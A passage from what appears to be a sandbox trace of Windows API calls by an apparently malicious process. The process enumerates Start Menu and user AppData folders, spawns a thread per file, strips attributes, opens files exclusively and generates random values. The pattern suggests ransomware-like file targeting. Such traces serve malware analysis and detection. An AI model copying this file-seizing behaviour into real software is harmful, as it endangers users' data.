ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="MATHIN~1.LNK")) returned 1 [0158.216] wcscmp (_String1="Math Input Panel.lnk", _String2=".") returned 1 [0158.216] wcscmp (_String1="Math Input Panel.lnk", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mobility Center.lnk", cAlternateFileName="MOBILI~1.LNK")) returned 1 [0158.216] wcscmp (_String1="Mobility Center.lnk", _String2=".") returned 1 [0158.216] wcscmp (_String1="Mobility Center.lnk", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkProjection.lnk", cAlternateFileName="NETWOR~1.LNK")) returned 1 [0158.216] wcscmp (_String1="NetworkProjection.lnk", _String2=".") returned 1 [0158.216] wcscmp (_String1="NetworkProjection.lnk", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0158.216] wcscmp (_String1="Paint.lnk", _String2=".") returned 1 [0158.216] wcscmp (_String1="Paint.lnk", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0158.217] wcscmp (_String1="Remote Desktop Connection.lnk", _String2=".") returned 1 [0158.217] wcscmp (_String1="Remote Desktop Connection.lnk", _String2="..") returned 1 [0158.217] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="SNIPPI~1.LNK")) returned 1 [0158.217] wcscmp (_String1="Snipping Tool.lnk", _String2=".") returned 1 [0158.217] wcscmp (_String1="Snipping Tool.lnk", _String2="..") returned 1 [0158.217] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sound Recorder.lnk", cAlternateFileName="SOUNDR~1.LNK")) returned 1 [0158.217] wcscmp (_String1="Sound Recorder.lnk", _String2=".") returned 1 [0158.217] wcscmp (_String1="Sound Recorder.lnk", _String2="..") returned 1 [0158.217] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sticky Notes.lnk", cAlternateFileName="STICKY~1.LNK")) returned 1 [0158.217] wcscmp (_String1="Sticky Notes.lnk", _String2=".") returned 1 [0158.217] wcscmp (_String1="Sticky Notes.lnk", _String2="..") returned 1 [0158.217] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Center.lnk", cAlternateFileName="SYNCCE~1.LNK")) returned 1 [0158.217] wcscmp (_String1="Sync Center.lnk", _String2=".") returned 1 [0158.217] wcscmp (_String1="Sync Center.lnk", _String2="..") returned 1 [0158.217] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0158.217] wcscmp (_String1="System Tools", _String2=".") returned 1 [0158.217] wcscmp (_String1="System Tools", _String2="..") returned 1 [0158.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64b00 [0158.218] wcscpy (in: _Dest=0x1cd64b00, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0158.218] wcscat (in: _Dest=0x1cd64b00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0158.218] wcscat (in: _Dest=0x1cd64b00, _Source="System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0158.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd64b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0158.219] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0158.219] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0158.219] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0158.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20508a90 [0158.220] wcscpy (in: _Dest=0x20508a90, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0158.220] wcscat (in: _Dest=0x20508a90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0158.220] wcscat (in: _Dest=0x20508a90, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0158.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20508a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8 [0158.221] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Center.lnk", cAlternateFileName="WELCOM~1.LNK")) returned 1 [0158.221] wcscmp (_String1="Welcome Center.lnk", _String2=".") returned 1 [0158.221] wcscmp (_String1="Welcome Center.lnk", _String2="..") returned 1 [0158.221] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0158.221] wcscmp (_String1="Windows PowerShell", _String2=".") returned 1 [0158.221] wcscmp (_String1="Windows PowerShell", _String2="..") returned 1 [0158.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd651e0 [0158.221] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0158.221] wcscat (in: _Dest=0x1cd651e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0158.222] wcscat (in: _Dest=0x1cd651e0, _Source="Windows PowerShell" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0158.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd651e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4 [0158.222] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0158.223] wcscmp (_String1="Wordpad.lnk", _String2=".") returned 1 [0158.223] wcscmp (_String1="Wordpad.lnk", _String2="..") returned 1 [0158.223] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0158.223] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0158.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0158.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 [0158.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a650) returned 1 Thread: id = 2617 os_tid = 0x214c [0156.653] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf")) returned 0x2020 [0156.653] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x20) returned 1 [0156.654] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0156.654] GetLastError () returned 0x20 [0156.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0156.654] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0156.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0156.655] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1ce5a030, Size=0x80) returned 0x1ced2fe0 [0156.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3070 [0156.655] wcscpy (in: _Dest=0x1ced3070, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0156.655] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x2020) returned 1 [0156.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aad0) returned 1 Thread: id = 2618 os_tid = 0x2148 [0156.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050aad0 [0156.658] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0156.658] wcscat (in: _Dest=0x2050aad0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0156.658] wcscat (in: _Dest=0x2050aad0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*" [0156.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0156.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5860 [0156.659] wcscmp (_String1=".", _String2=".") returned 0 [0156.659] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.659] wcscmp (_String1="..", _String2=".") returned 1 [0156.659] wcscmp (_String1="..", _String2="..") returned 0 [0156.659] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0156.659] wcscmp (_String1="wscRGB.icc", _String2=".") returned 1 [0156.659] wcscmp (_String1="wscRGB.icc", _String2="..") returned 1 [0156.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b1e10 [0156.659] wcscpy (in: _Dest=0x202b1e10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0156.659] wcscat (in: _Dest=0x202b1e10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0156.659] wcscat (in: _Dest=0x202b1e10, _Source="wscRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" [0158.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc [0158.341] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0158.341] wcscmp (_String1="wsRGB.icc", _String2=".") returned 1 [0158.341] wcscmp (_String1="wsRGB.icc", _String2="..") returned 1 [0158.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x205093f0 [0158.341] wcscpy (in: _Dest=0x205093f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0158.341] wcscat (in: _Dest=0x205093f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0158.341] wcscat (in: _Dest=0x205093f0, _Source="wsRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" [0158.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205093f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4 [0158.342] FindNextFileW (in: hFindFile=0x1ced5860, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0158.342] FindClose (in: hFindFile=0x1ced5860 | out: hFindFile=0x1ced5860) returned 1 [0158.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0158.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aad0) returned 1 [0158.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b0d0) returned 1 Thread: id = 2619 os_tid = 0x2144 [0156.662] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst")) returned 0x2020 [0156.663] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x20) [0190.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c0 [0190.808] GetFileSizeEx (in: hFile=0x9c0, lpFileSize=0x3403fbe0 | out: lpFileSize=0x3403fbe0*=1180) returned 1 [0190.808] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.808] ReadFile (in: hFile=0x9c0, lpBuffer=0x3403fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3403fba8, lpOverlapped=0x0 | out: lpBuffer=0x3403fb60*, lpNumberOfBytesRead=0x3403fba8*=0x4, lpOverlapped=0x0) returned 1 [0190.986] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0190.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139490 [0190.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139520 [0190.987] NtQuerySystemTime (in: CurrentTime=0x3403faa0 | out: CurrentTime=0x3403faa0*=132462177960838000) returned 0x0 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x5f31cfd6 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x5e08e5df [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x55b407f9 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x756d24c7 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x31031ae9 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x48b15954 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x5f22ec11 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x474f7880 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0xc5a979 [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0xe14750e [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0xaeb337f [0190.987] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x6b9e1525 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x79577035 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x77ec814b [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: 